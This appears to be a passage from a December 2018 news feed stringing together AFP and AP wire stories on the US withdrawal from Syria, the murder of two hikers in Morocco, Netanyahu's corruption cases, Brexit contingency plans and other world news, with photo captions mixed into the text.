saying in March he wanted to bring troops home "soon." But military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only it would come "as quickly as possible." A US officer (R) is seen here in 2017 speaking with a fighter from the Kurdish People's Protection Units (YPG) -- critics of Donald Trump's withdrawal from Syria say the US-allied Kurdish forces could be at risk White House spokeswoman Sarah Sanders said the US-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria that have been ongoing since late 2014. A senior administration official said Trump's decision was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said. - Fate of Kurdish fighters? - A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia, known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, US support has strained relations between the NATO allies. In a sign of possible rapprochement, the State Department said it had approved the $3.5 billion sale of Patriot missiles and associated equipment to Turkey. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. - 'Short-sighted and naive' - A convoy of US forces armored vehicles drives near the village of Yalanli, on the western outskirts of the northern Syrian city of Manbij, in March 2017 A government spokesman for Britain, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," a statement read. Australia Prime Minister Scott Morrison, who was on a pre-Christmas visit to troops stationed in Iraq, highlighted the work of the coalition and its "ongoing commitment to fighting Da'esh and its sympathizers," referring to the IS group. A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal," Lister said. A US army vehicle supporting the Syrian Democratic Forces (SDF) is seen in December 2018 in Hajin, in eastern Syria -- Islamic State fighters are holding out in what remains of the pocket that once included Hajin, including Al-Shaafa and Sousa IS fighters swept across large swaths of Syria and neighboring Iraq in 2014, implementing their brutal interpretation of Islamic law in areas they controlled. But they have since seen their dream of a state crumble, as they have lost most of that territory to various offensives. In Syria, IS fighters are holding out in what remains of the pocket that once included Hajin, including the villages of Al-Shaafa and Sousa. An image grab from a video broadcast by Moroccan news channel KECH24 on December 18, 2018 shows people at the site where the bodies of two murdered Scandinavian tourists were found in the High Atlas mountains Islamists are suspected to have carried out the murder of two young Scandinavian women trekking in southern Morocco, one of whom was beheaded, a source close to the probe said Wednesday. "Radical Islam is not ruled out due to the profile of the suspect arrested and of the three men wanted" after the women's bodies were found Monday in the High Atlas Mountains, the source said, asking not to be named. The source told AFP that one of the women -- 24-year-old Louisa Vesterager Jespersen from Denmark and 28-year-old Maren Ueland from Norway -- had been beheaded. Police spokesman Boubker Sabik also said terrorism was suspected and that the three suspects on the run had been "identified and a search for them is under way by all the security services". One of the three had "a court record linked to terrorist acts", he said, while the prosecutor general's office said the man in custody belonged to an extremist group. The prosecutor general's office, in a statement, said it was determining the authenticity of a video on social media allegedly showing the murder of one of the women. The interior ministry said initially that the Danish and Norwegian hikers were found with cuts to their necks in an isolated mountainous area 10 kilometres (six miles) from the tourist village of Imlil. The arrest was made in Marrakesh, about 60 kilometres north of Imlil, the ministry said. An image grab from a video broadcast by Moroccan news channel KECH24 on December 18, 2018 shows cars and an ambulance at the site where the bodies of two murdered Scandinavian women were found in the High Atlas mountains The Danish victim, Jespersen, "had her throat cut," her mother Helle Petersen was quoted by the Danish newspaper B.T. as saying. Her family had warned her against going to Morocco "because of the chaotic situation," she added. - 'Every precaution' - A local guide who works in the area told AFP the body of one woman was found inside a tent and the other outside of it. The guide, who declined to be identified, said the area where they were found was also frequented by three men from Marrakesh, including the one who was arrested. The two women studied at a university in southern Norway and had planned to travel together for a month, Ueland's mother told Norwegian broadcaster NRK. The investigation is being conducted by Morocco's central bureau of judicial investigation in cooperation with the royal gendarmerie and authorities from national security. The High Atlas mountains are a popular trekking destination for foreign tourists visiting Morocco Security was stepped up in the region and hiking suspended following the discovery of the bodies, Moroccan media said. "It's very bad for the region. There will undoubtedly be cancellations," a local guide, Hossein, told AFP from Imlil. The most recent jihadist attack hit Morocco in 2011, when 17 people were killed in Marrakesh. An attack in the financial capital Casablanca left 33 dead in 2003. Tourism is a cornerstone of Morocco's economy and the kingdom's second-largest employer, after agriculture. The sector accounts for 10 percent of national income and is one of the country's main sources of foreign currency. After several years of near-stagnation, Morocco welcomed a record 11.35 million visitors in 2017, exceeding the 11-million mark for the first time. Israeli Prime Minister Benjamin Netanyahu addresses parliament in Jerusalem on December 19 Israel's prosecution will recommend Prime Minister Benjamin Netanyahu be charged with corruption in at least one of the investigations against him, media reports said Wednesday. State attorney, Shay Nitzan, was said to have forwarded the recommendation to the public prosecution, according to the media reports, which did not give specifics about the case. Netanyahu has been under investigation for alleged corruption that threatens his long-running hold on power. According to the media reports, there was sufficient evidence to charge him with corruption in the Bezeq case, named after a telecommunications company. Netanyahu has faced questioning by police over suspicions that he sought positive coverage on the Walla! news website in exchange for regulatory breaks by the government. Police have recommended he be charged with corruption, fraud and breach of trust in two other cases, one relating to gifts he and his family had allegedly received. In the other case, investigators suspect the prime minister of trying to reach an agreement with the owner of Yediot Aharonot newspaper for more favourable coverage. The decision to charge him is up to Attorney General Avichai Mandelblit, a former Netanyahu aide who has on occasion opposed the government. Netanyahu has denied all charges and rejected any talk of stepping down. He is not legally required to resign if he is charged. US forces operating near on the outskirts of the northern Syrian city of Manbij in March 2017: President Donald Trump has ordered a complete withdrawal of US forces from Syria The withdrawal of US troops in Syria will have an impact on the battlefield and well beyond, with wide-ranging geopolitical ramifications. Here is a look at some of the likely effects of President Donald Trump's decision to pull out the 2000 US troops as he declared the defeat of the Islamic State group: - Kurdish fighters and Turkey Among the most alarmed at a US pullout will be Kurdish fighters who form the backbone of the Syrian Democratic Forces, an opposition force that has seized about one-quarter of the country with Washington's backing. Turkish President Recep Tayyip Erdogan vowed this week to "remove" the Kurdish People's Protection Units, which he sees as linked to the Kurdish Workers' Party, or PKK, the force that has waged an insurgency inside Turkey since 1984. Turkey had earlier been forced to tread cautiously in Syria, with any injury to US troops certain to trigger a crisis. Hours after Trump's announcement, the United States said it had approved a $3.5 billion missile package for Turkey, a NATO ally which had earlier angered the United States by signing an arms deal with Russia. - Can ISIS come back? - Kurdish fighters who were on the frontlines of fighting the Islamic State movement, often known as ISIS, will certainly shift focus if they come under attack from Turkey. A US military officer (R) speaking with a fighter from the Kurdish People's Protection Units (YPG) at the site of Turkish airstrikes in the northeastern Syria in 2017 The United States has not announced an end to its air war in Syria, but it would be relying on significantly less intelligence without troops on the ground. Critics of Trump's decision noted that ISIS sprouted in Iraq after former president Barack Obama, also eager to end a foreign intervention started under his predecessor, withdrew. Ilan Goldenberg, a former US diplomat now at the Center for a New American Security, said that a successor to ISIS could similarly re-emerge, prompting a fresh US intervention. "We're about to make the exact same mistake in the Middle East that weve been making again and again for the past 20 years," he wrote on Twitter. - Reinforces Russia and Iran - As the United States withdraws, Assad's allies Russia and Iran have shown no sign of leaving. Russia sees longtime ally Syria as a strategic asset in its quest to restore a global role, while Iran's Shiite clerical state sees a religious imperative in fighting Sunni hardliners and protecting President Bashar al-Assad, a member of the heterodox Alawite sect. Russian and Syrian soldiers stand guard near posters of Syrian President Bashar al-Assad and his Russian counterpart Vladimir Putin at the Abu Duhur crossing on the eastern edge of Idlib province in August 2018 Jonas Parello-Plesner, a Danish diplomat at the Washington-based Hudson Institute, said that Trump's move "would make Russia decisively the outside power-broker in Syria." Israeli Prime Minister Benjamin Netanyahu quickly pledged to "defend ourselves" in Syria, an allusion to Israeli strikes on targets of Iran and its Lebanese-based ally Hezbollah. - Risks for Europe - While the Islamic State group has lost virtually all of its territory in Syria, it is believed to have thousands of supporters who may carry out attacks overseas, often blending into local populations in Europe. The US withdrawal leaves France, which still has a small contingent of special operations troops in Syria. Former Belgian prime minister Guy Verhofstadt said a US withdrawal would be a victory for Russia, Iran, Turkey, Turkish proxies and the Syrian regime. "Unsurprisingly, it leaves Europeans more vulnerable -- and shows how wrong it is that we do not have a defense force able to help stabilize our immediate neighborhood," he wrote on Twitter, amid French-led calls for a European-wide army separate from NATO. - Effect on US politics - Trump -- much like Obama, despite his distaste for his predecessor -- has called for an end to long-term foreign military interventions, which are costly and have limited support in the general public. Trump's decision nonetheless was condemned both by the rival Democrats, who said he had not thought through his decision, and Republicans, who feared the geopolitical effects. Republican Senator Lindsey Graham, usually a loyal supporter of Trump, charged that ISIS was not defeated and that a withdrawal would embolden Iran and abandon Kurdish allies. The Carrico incident has raised concerns about ebbing freedoms in Hong Kong, including the ability of academics to carry out research An Australian academic who was followed for a week by a state-owned newspaper in Hong Kong has suggested Beijing could be behind the intimidation and has vowed not to be bullied. Kevin Carrico -- a lecturer in Chinese Studies at Sydney's Macquarie University -- was tailed by the Wen Wei Po tabloid during a visit earlier this month and was the subject of a front-page "expose". The paper accused him of stirring "pro-independence" sentiment in Hong Kong, holding "secret meetings", and secretly photographed him throughout his week-long trip, as well as on previous visits. The incident has raised concerns about ebbing freedoms in Hong Kong, including the ability of academics to carry out research. Carrico -- who has written extensively on Chinese nationalism -- on Wednesday accused the paper of trying to intimidate him or people he speaks to, telling AFP its motivations were not "particularly pure or admirable". If the authorities were trying to scare him away from returning to Hong Kong, that was "not going to happen", Carrico insisted. But he fears it was "Beijing signalling to Hong Kong to refuse me entry next time" or "intimidating people away from speaking with me". That, he admitted, "could happen, considering how tense things are in Hong Kong now". In Beijing, Chinese foreign ministry spokeswoman Hua Chunying dismissed Carrico's allegations as "preposterous and absurd". - 'Patriotic hoodlums' - Beijing has sought to tighten its grip on the semi-autonomous city following mass pro-democracy protests in 2014. Since then, key protest leaders have been charged while a string of pro-democracy lawmakers were stopped from sitting in the Hong Kong legislature. Earlier this year, a small pro-independence party was banned on national security grounds, and a British journalist who hosted a press club talk with that party's leader had to leave the city after his visa renewal was suddenly denied. Hong Kong was handed back to China by Britain in 1997 and still enjoys freedom of speech and other rights unseen on the mainland. But critics have been stopped from coming to the city. Last year, British human rights activist Benedict Rogers was denied entry on arrival at the airport, prompting London to seek an explanation. Carrico said he fears the paper has now made him a possible target for "patriotic hoodlums" from gangs with links to the Chinese Communist Party when he does return. "The Wen Wei Po is essentially an intelligence service masquerading as a paper and should be shut down," he said. In a statement issued Thursday, Wen Wei Po defended its article, saying it was built around "clear facts" that "complied with usual news reporting rules and skills". The paper accused Carrico of making "false accusations" and attacking press freedom, adding it reserved the right to pursue legal action against the academic. In July this year, Ta Kung Pao -- a sister paper to Wen Wei Po -- followed pro-independence activist Andy Chan during a holiday to Taiwan. Christian Bale (L) plays Dick Cheney in the movie "Vice" -- thanks to some Hollywood make-up magic, he is nearly unrecognizable It was almost by accident that director Adam McKay decided to do "Vice" -- a biopic about Dick Cheney, the cunning neo-con politician who was George W. Bush's powerful vice president, that is already earning major awards buzz. McKay was sick with the flu, picked up a book about Cheney and could not put it down. "I kept being astounded by how much this guy really changed the course of America," McKay said at the recent premiere of his movie, which hits US theaters on Christmas Day. "Vice" has already scooped up six Golden Globe nominations, leading the competition, and could see Christian Bale, who is unrecognizable under layers of makeup and an extra 40 pounds (about 18 kilos), take home a second Oscar. Film critics say the Welsh actor -- who took home his first Oscar in 2011 for "The Fighter" -- crushed it. Bale "embraces Cheney with sincerity," said Rolling Stone magazine, while Variety hails his portrayal of Cheney as being on "a virtuoso level of observation and exactitude." "Christian Bale nails the Dick Cheney persona -- dry, pointed, deceptively dull, invisibly passive-aggressive, a blank with a hint of a growl -- and does it with a playful bravura that could hardly be more perfect," said Variety. "Vice" director Adam McKay says he took on the project by accident -- after reading a book on Dick Cheney when he was sick Bale calls Cheney, who is widely seen as Bush's eminence grise from 2001 to 2009, "a very strong character -- he was incredibly consequential, and he understood brilliantly in a way, like perhaps nobody else, how to work the machinery of government." Cheney -- who also served as defense secretary from 1989 to 1993 under George H.W. Bush during the first Gulf War -- faced tough scrutiny. He was criticized not only for his neo-con policy views, but for his inaccurate claims that Iraq under Saddam Hussein had weapons of mass destruction and his defense of the use of "enhanced interrogation techniques" -- now widely seen as torture. Cheney was also suspected of conflicts of interest: as Bush's running mate in 2000, he was also CEO of Halliburton, the world's second largest oil field services company. It made a fortune from the second Gulf War in 2003. - 'Cartoon villain' - "Vice" looks at a variety of chapters of Cheney's life, from his back and forth between White House duty and business dealings and his past as a rowdy, hard drinking young man in Wyoming who would eventually get kicked out of Yale. He owes his health to wife Lynne, played by Amy Adams in a performance that has also earned critical praise. Sam Rockwell (George W. Bush) and Steve Carell (Donald Rumsfeld) round out the cast. Sam Rockwell and Amy Adams play George W. Bush and Cheney's wife Lynne in the movie While critics are nearly united on Bale's performance, opinions on the film as a whole are more divided. Many critics hailed the work of McKay but others said his depiction of Cheney was superficial. The movie, said Time magazine, turns Cheney into "a cartoon villain." Variety complained that McKay never addressed the basic question of who Cheney is and how he was able to amass so much power. "The audience, in trying to suss out his motivation, let alone (gulp!) his inner life, is forced to fall back on abstractions like 'greed' and 'power'," Variety wrote. McKay insisted that from the outset, his idea was to "humanize these people -- let's go deep into them, let's understand them." Another thing that might unsettle some viewers are the tricks the movie employs: flashback after flashback, off-screen narration, surreal appearances in the middle of the movie and Cheney himself even breaking the fourth wall to address filmgoers. Bale says McKay's unorthodox techniques are vital. "You actually kind of need it because it can be so sad and traumatic, what you are watching," said Bale. Carell said one of the strong points of the movie is relevant to today's politics. "When people see the film, they'll obviously make connections between then and now, and that's the nature of history in general: you can connect the dots (with) things that are happening currently," Carell said, without mentioning Donald Trump. One of the three Ferraris damaged by an exhausted Taiwanese delivery driver in Taipei An exhausted Taiwanese delivery driver who smashed into three Ferraris has been inundated with donations after his plight and eye-watering repair bill sparked a deluge of public sympathy. Lin Chin-hsiang had a particularly miserable day at work in the early hours of Sunday morning when he drifted off at the wheel while delivering incense to nearby temples on a windy mountain road above Taipei. He not only managed to wreck his family's car but also ploughed into a trio of Ferraris whose owners had parked by the side of the road midway through a weekend morning drive in the hills. "I must have fallen asleep, I'm not sure what happened," the soft-spoken 20-year-old told AFP on Thursday from the incense shop in the capital where he works alongside his mother. "I will work hard to pay for the damage," he added. No-one was hurt in the collision but Lin faces a mammoth bill because his car insurance has a cap on payouts. Lin Chin-hsiang smashed in to three Ferraris when he drifted off at the wheel while delivering incense to nearby temples on a windy mountain road above Taipei Local media quoted Ferrari dealers in Taipei as saying the repairs to the vehicles could cost NT$12 million ($390,000) -- a figure that would take Lin decades to pay off. But ordinary members of the public have flocked to his aid. City authorities said a fund set up to receive donations had so far received NT$814,000 ($26,400). Many of those donating were inspired by the contrast between the comparatively gilded lives of the Ferrari owners and the overworked man who hurtled into them. Lin said he had to drop out of college this summer to help his mother run their incense shop -- his father died some five years back. He also held down a second job at a nearby barbecue restaurant. The day of the accident, Lin's mother recalled, her son had worked a restaurant shift until 3am, briefly slept and then began deliveries around 5am because she had been feeling unwell. His mother, who only gave her surname, said she was left "dumbstruck" when she discovered her son had totalled three supercars. "I told him what has happened has happened and we'll face it together," she told AFP. Neighbours have since come by with their own delivery vans to keep the business going while one man travelled three hours by bus to drop a donation into the family's shop. Lin said the principle of the college he dropped out from came round to offer him free tuition but he felt unable to leave his mother's business -- especially given the bills he now needs to pay. "School may have to wait," he sighed. An estimated 50,000 taxi drivers protested in Seoul to call for a car-pooling app to be banned Tens of thousands of taxi drivers in South Korea went on a nationwide strike Thursday, snarling up traffic in Seoul, in the latest protest at a planned Uber-like ride-sharing service. An estimated 50,000 taxi drivers, wearing headbands, chanting slogans and waving banners, rallied outside the parliament, calling for the car-pooling app to be banned, AFP photographers at the scene said. Drivers say the service being introduced by KakaoTalk -- the country's largest mobile chat app -- will threaten their livelihoods. A 57-year-old taxi driver committed suicide by setting himself on fire in a solo protest outside parliament in Seoul last week A 57-year-old taxi driver committed suicide by setting himself on fire in a solo protest outside parliament in Seoul last week, forcing KakaoTalk to delay their launch of the service, initially set for this week. Only a limited number of the country's 252,000 taxis were taking passengers on Thursday, Yonhap news agency said. Traffic jams were reported on some highways leading to the capital as taxi drivers drove their vehicles at a snail's pace across the river Han, raising concerns of evening traffic chaos on the giant Mapo Bridge. Police have mobilised 9,000 riot police to maintain order, Yonhap said. A backlash from taxi drivers in South Korea forced US giant Uber to close its main ride-sharing service in 2015. Traffic jams were reported on some highways leading to the capital as taxi drivers drove their vehicles at a snail's pace across the river Han The company now has only a minimal presence in the country, offering only taxi- and licensed-hire vehicle services. KakaoTalk is used by more than 80 percent of South Koreans, and in recent months tens of thousands of taxi drivers have held mass rallies in Seoul to condemn its upcoming car-pooling service. Shaima Swileh, a native of Yemen, was granted a US visa to visit her dying two-year-old son Abdullah Hassan, a US citizen like his father Ali -- both of whom are pictured here at UCSF Benioff Children's Hospital in Oakland on December 16, 2018 A Yemeni mother who was granted a waiver from President Donald Trump's ban on travel from several Muslim majority countries has arrived in the US to say goodbye to her dying toddler son. Shaima Swileh wore dark glasses as she walked into the arrivals terminal at San Francisco airport Wednesday night. A group of supporters carrying placards greeted her. Her two-year-old boy Abdullah Hassan, a US citizen like his father, suffers from a rare genetic brain condition and is on life support in a hospital in Oakland, California. But Swileh had been unable to join him due to Trump's order barring visitors from six countries including Yemen. After a tearful televised plea from the boy's father prompted public outrage, the US embassy in Cairo issued a visa for Swileh, who has been living temporarily in Egypt. After the waiver was granted, her husband, Ali Hassan, expressed relief and said, "This will allow us to mourn with dignity." Hassan said he had been ready to take his son off life support last week after doctors said the case was terminal, with his wife only receiving automated replies when inquiring with US authorities on her visa application. Abdullah Hassan suffers from a rare genetic brain condition and is on life support The Council on American-Islamic Relations, which is assisting the family, launched a campaign that it said prompted 15,000 emails to elected officials as well as thousands of tweets. Abdullah's grandfather earlier told the San Francisco Chronicle that Swileh was crying every day as she wanted to see her son "one last time." "To hold him for at least a minute. She's not going to see him forever," he said. Exceptions to Trump's ban are exceedingly rare. The American Civil Liberties Union, which opposes Trump's order, said that only two percent of applicants have been granted waivers. Trump vowed during the 2016 campaign to ban all Muslims from entering the United States, despite constitutional protections of freedom of religion, after a mass shooting in California by a couple of Pakistani descent. In an executive order that triggered chaos before court challenges and revisions, Trump blocked new visas to nearly all citizens of five Muslim-majority countries -- Iran, Libya, Somalia, Syria and Yemen -- as well as North Korea and some officials from Venezuela. A divided Supreme Court in June upheld the ban, which it said was within the president's powers. Yemen's foreign minister Khaled al-Yamani (L) and rebel negotiator Mohammed Abdelsalam (R) shake hands under the eyes of UN Secretary General Antonio Guterres (C), at Johannesberg Castle in Rimbo, Sweden, on December 13, 2018 The battleground Yemeni port city of Hodeida was calm Thursday after a minor exchange of fire between the warring parties overnight, a pro-government official said. Military officials and residents have said that there has been intermittent fighting between loyalists -- backed by a Saudi-led coalition -- and the Iran-aligned Huthis since a truce in the lifeline Red Sea port city and its surroundings came into force on Tuesday. A pro-government official told AFP that four loyalists were wounded on Wednesday night. "The exchange of fire lasted for about half an hour, and there is uneasy calm this morning," he said. The official added there has been intermittent fighting on a number of battlefronts in Hodeida province, including the districts of Hays and Al-Tuhayta. The pro-government forces and the Huthi rebels exchanged accusations on Thursday that the other side was violating the ceasefire agreement reached at talks in Sweden earlier this month. UN observers are due in Yemen to head up monitoring teams made up of government and rebel representatives tasked with overseeing the implementation of the UN-brokered ceasefire, under the auspices of a Redeployment Coordination Committee. The UN chair of that committee, Patrick Cammaert, convened its first meeting by videoconference from New York on Wednesday "to discuss the general outlines of its work, including agreement of a code of conduct", UN spokesman Stephane Dujarric said. UN chief Antonio Guterres was "breathing down the neck" of officials to make sure the UN observers are deployed as soon as possible, Dujarric said. He added that Cammaert will head on Thursday to Jordan's capital Amman, from where he will travel to the Yemeni capital Sanaa and Hodeida. Brigadier Ahmed Al-Kokbani, a Yemeni government representative on the committee, told AFP that the observers' meeting with Cammaert covered the bases of the committee's work. "Cammaert asked members of the team to work diligently in calming the situation and to reject any violations (of the truce deal)," he said. The Saudi-led coalition warned Wednesday that the hard-won ceasefire agreement will collapse if rebel violations persist and the United Nations does not intervene. The Redeployment Coordination Committee's observers are due to oversee the withdrawal of the warring parties from Hodeida, including a rebel pullout from the city's docks that are the point of entry for 80 percent of Yemeni imports and nearly all UN-supervised humanitarian aid. Yemen's conflict has pushed 14 million people to the brink of famine in what the UN calls the world's worst humanitarian crisis The committee chair is expected to report to the Security Council on a weekly basis as part of a major diplomatic push that is seen as the best chance yet to end the four-year conflict. The war between the Shiite Huthi rebels and troops loyal to President Abedrabbo Mansour Hadi escalated in 2015, when he fled into Saudi exile and the Saudi-led military coalition intervened. Since then, the war has killed some 10,000 people, according to the World Health Organization, although human rights groups say the real death toll could be five times as high. US President Donald Trump said the US has "defeated ISIS in Syria" US allies were stunned Thursday after President Donald Trump declared victory over the Islamic State group in Syria and abruptly ordered the withdrawal of US ground troops from the country. The decision runs counter to long-established US policy for Syria and the region. It blindsided lawmakers, the Pentagon and international allies alike. Britain and France warned on Thursday that the fight against jihadists in Syria was not finished. Trump earlier said: "We've won against ISIS," in a short video posted on Twitter. "We've beaten them and we've beaten them badly. We've taken back the land. And now it's time for our troops to come back home." A withdrawal could have major geopolitical ramifications, and plunges into uncertainty the fate of US-backed Kurdish fighters who have been tackling Islamic State jihadists, thousands of whom are thought to remain in Syria. A US official told AFP that Trump's decision was finalized Tuesday. "Full withdrawal, all means all," the official said when asked if the troops would be pulled from across Syria. Currently, about 2,000 US forces are in the country, most of them on a train-and-advise mission to support local forces fighting IS. Pentagon officials scrambled for a reaction. A spokeswoman eventually said the Defense Department had "started the process" of bringing troops home. Lawmakers assailed Trump's decision, saying it could embolden Ankara to attack US-backed Kurdish fighters. Republican Senator Lindsey Graham, a Trump ally, said the president's decision was unwise and put the Kurds "at risk." Democratic Senator Jack Reed said it amounted to a "betrayal" of the Kurds that "provides further evidence of President Trump's inability to lead on the world stage." Blasting the move as a "huge Obama-like mistake," Graham said "I fear it will lead to devastating consequences for our nation, the region and throughout the world." Most US troops are stationed in northern Syria, though a small contingent is based at a garrison in Al-Tanaf, near the Jordanian and Iraqi borders. Trump has previously voiced skepticism about the US presence in Syria, saying in March he wanted to bring troops home "soon." But military advisors and international allies warned Trump against a precipitous pullout, and he later acquiesced to an indefinite Syria mission. The US official would not provide a withdrawal timeline, saying only it would come "as quickly as possible." US troops have been supporting the Kurdish People's Protection Units White House spokeswoman Sarah Sanders said the US-led coalition that includes dozens of nations would continue fighting the jihadists. "These victories over ISIS in Syria do not signal the end of the Global Coalition or its campaign," Sanders said in a statement. The Pentagon refused to say what effect the troop withdrawal would have on air operations in Syria that have been ongoing since late 2014. A senior administration official said Trump's decision was consistent with comments he has made for years. "The notion that anyone within the administration was caught unaware, I would challenge that," the official said. - Fate of Kurdish fighters? - A large contingent of the main US-backed, anti-IS fighting force in Syria, an alliance known as the Syrian Democratic forces (SDF), is Kurdish. Turkey terms it a "terrorist" group. Ankara has said it plans to launch an operation against the Kurdish militia known as the YPG (Kurdish People's Protection Units). While the YPG has spearheaded Washington's fight against IS, US support has strained relations between the NATO allies. The US decision to withdraw from Syria marks a remarkable development not just for the Kurds, but for years-old US doctrine in the region. Only last week, Brett McGurk, the special envoy to defeat IS, said "nobody is declaring a mission accomplished." "If we've learned one thing over the years, enduring defeat of a group like (IS) means you can't just defeat their physical space and then leave," he said. - 'Short-sighted and naive' - A statement issued by the British government, which has long supported the anti-IS campaign in Syria, said "much remains to be done" against the jihadists. "We must not lose sight of the threat they pose. Even without territory, (IS) will remain a threat," the statement read. Junior defence minister Tobias Ellwood was more blunt, retweeting a message from Trump that the jihadists had been defeated in Syria with the words: "I strongly disagree. US forces with armored vehicles have been supporting the fight against IS in Syria "It has morphed into other forms of extremism and the threat is very much alive." The Times newspaper on Thursday reported that Britain had not been informed of the decision before Trump announced it. France said Thursday it will maintain its participation in the coalition fighting IS forces in Syria. European Affairs Minister Nathalie Loiseau said "the fight against terrorism is not over." A US presence in Syria is seen as key to pushing against Russian and Iranian influence. Pro-Iran militias have supported Syrian President Bashar al-Assad, and Moscow in 2015 intervened in the conflict to prop him up. Charles Lister, a senior fellow at the Middle East Institute, called the decision "extraordinarily short-sighted and naive." "This is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a US withdrawal," Lister said. JERUSALEM (AP) - Israel's prime minister says more than 130 Palestinians have been arrested in recent days in Israel's search for a suspect wanted in a deadly West Bank shooting. Speaking on Tuesday at the site of last week's attack near the Givat Assaf settlement, Benjamin Netanyahu says "it is just a matter of time until we find this murderer as well." He says Israel will take additional steps to combat militant attacks and that Israel will continue to bolster its settlement building. The West Bank saw a spike in deadly Israeli-Palestinian violence last week, including the Givat Assaf shooting that killed two Israeli soldiers. Israel has ramped up security measures in the West Bank in response to the bloodshed and Netanyahu has promised to legalize thousands of existing West Bank settlement homes. LONDON (AP) - The European Union marked 100 days until Brexit on Wednesday by triggering an action plan to ensure planes can still fly and money can still flow between Britain and the bloc in the increasingly likely event that the U.K. leaves the EU without a divorce deal. The British government, struggling to break a political logjam over Brexit, released immigration plans that it said will "take back control" of the country's borders - but which opponents warn will batter the economy by shutting out everyone but highly paid professionals. The EU measures, announced a day after Britain ramped up its own no-deal planning, are intended to alleviate "major disruption" to people and businesses in case squabbling U.K. politicians fail to ratify a withdrawal agreement between Britain and the bloc. European Commission Vice President Valdis Dombrovskis called the contingency plan "an exercise in limiting damage." Britain is due to leave the EU on March 29, but it's unclear whether lawmakers will approve the divorce agreement Prime Minister Theresa May's government has negotiated with the bloc. May postponed a vote in Parliament last week because the deal faced heavy defeat. It has been rescheduled for mid-January, but opposition remains strong across the political spectrum. Leaving without a deal risks plunging the British economy into recession and sparking chaos at the borders, as four decades of economic alignment and open markets evaporate. Britain's Prime Minister Theresa May leaves 10 Downing Street for Prime Minister's Questions at the House of Commons, in London, Wednesday Dec. 19, 2018. (AP Photo/Tim Ireland) The EU plan includes temporary one- to two-year measures to allow some U.K.-EU financial services to continue and a 12-month provision to keep planes flying between Britain and the bloc. But Dombrovskis stressed that the measures "cannot replicate the benefits of the withdrawal agreement, and certainly it cannot replicate the benefits of EU membership." Britain's no-deal preparations include putting 3,500 soldiers on standby, chartering boats to bring in goods and stockpiling medicines. The government called them sensible precautions, but opposition politicians accused May of trying to scare lawmakers into supporting her Brexit deal. "No-deal would be a disaster for our country and no responsible government would ever allow it," Labour Party leader Jeremy Corbyn said. Most members of Parliament dislike both May's Brexit deal and the prospect of leaving the EU without an agreement, but they are deeply divided about what to do instead, and the country's political debate has grown increasingly bad-tempered as Brexit day approaches. Corbyn was forced to deny calling May a "stupid woman" in the House of Commons on Wednesday, after he was caught appearing to mutter the insult during a fiery debate. "I did not use the words 'stupid woman' about the prime minister or anyone else, and am completely opposed to the use of sexist or misogynist language in absolutely any form at all," Corbyn said. In a bid to regain some of its vanished political momentum, the British government published long-awaited plans for a post-Brexit immigration system that will end the automatic right of EU citizens to live in the U.K. "We're going to bring an end to free movement," May said. "We will do that in a way that enables us to reduce net migration but enables us to ensure that the brightest and best can be attracted to the United Kingdom." She said that "in the future coming here will be based on your contribution, not on the country you come from." The government proposal places no limit on the number of well-paid, skilled immigrants who can settle in Britain, but puts curbs on "low-skilled" workers, who would only be able to get one-year working visas. The government plan suggests setting a salary threshold that immigrants will have to meet in order to be given the right to settle in Britain. An independent body advising the government has suggested 30,000 pounds ($38,000) a year - above the median U.K. wage and more than the starting salary for nurses, paramedics, junior doctors and many other professions. Saffron Cordery, deputy chief executive of NHS Providers - an umbrella group for Britain's state-funded health care system - said the health sector was "deeply concerned" about the proposal. "High skills does not equal high pay," she told the BBC. The government said the exact salary threshold would be decided after public consultation. The rules will not apply to more than 3 million EU citizens currently living in Britain. The government has said they can stay, even if the U.K. leaves the bloc without an agreement on future relations. The EU, in its no-deal plans, urged member states to extend the same right to more than 1 million resident British nationals. Immigration was a major factor behind Britain's 2016 vote to leave the EU, and May has made ending free movement and cutting net immigration by more than half to below 100,000 people a year her key Brexit goals. But that has put her at odds with many business leaders. Big chunks of Britain's economy, from agriculture to health care, have come to depend on European workers, more than 1 million of whom have moved to Britain in the last 15 years. Businesses fear that choking off the flow of lower-skilled workers could lead to acute employee shortages. Scottish First Minister Nicola Sturgeon, a fierce opponent of Brexit, said the immigration proposals would "devastate" the Scottish economy, "It's beyond me that any U.K. prime minister would want to have as her legacy turning the U.K. inwards and making it less open and welcoming to people from the rest of the world," Sturgeon said. The longer the political impasse drags on, the more worried British businesses get. The country's five leading business groups said in a rare joint statement that businesses "have been watching in horror" as the prospect of a disorderly Brexit grew more likely. Organizations including the British Chambers of Commerce and the Confederation of British Industry urged lawmakers to "return to their constituencies over Christmas and talk to their local business communities." "We hope that they will listen and remember that when they return to Parliament, the future course of our economy will be in their hands," the groups said. ___ Cook reported from Brussels. Associated Press writer Danica Kirka in London contributed to this report. ___ Follow AP's full coverage of Brexit at: https://www.apnews.com/Brexit European Commissioner for Economic and Financial Affairs Pierre Moscovici, left, and European Commissioner for Euro and Social Dialogue Valdis Dombrovkis participate in a media conference at EU headquarters in Brussels, Wednesday, Dec. 19, 2018. Economists say leaving the EU without a deal risks plunging the British economy into recession and touching off chaos at the borders. The EU was set Wednesday to publish documents on its own 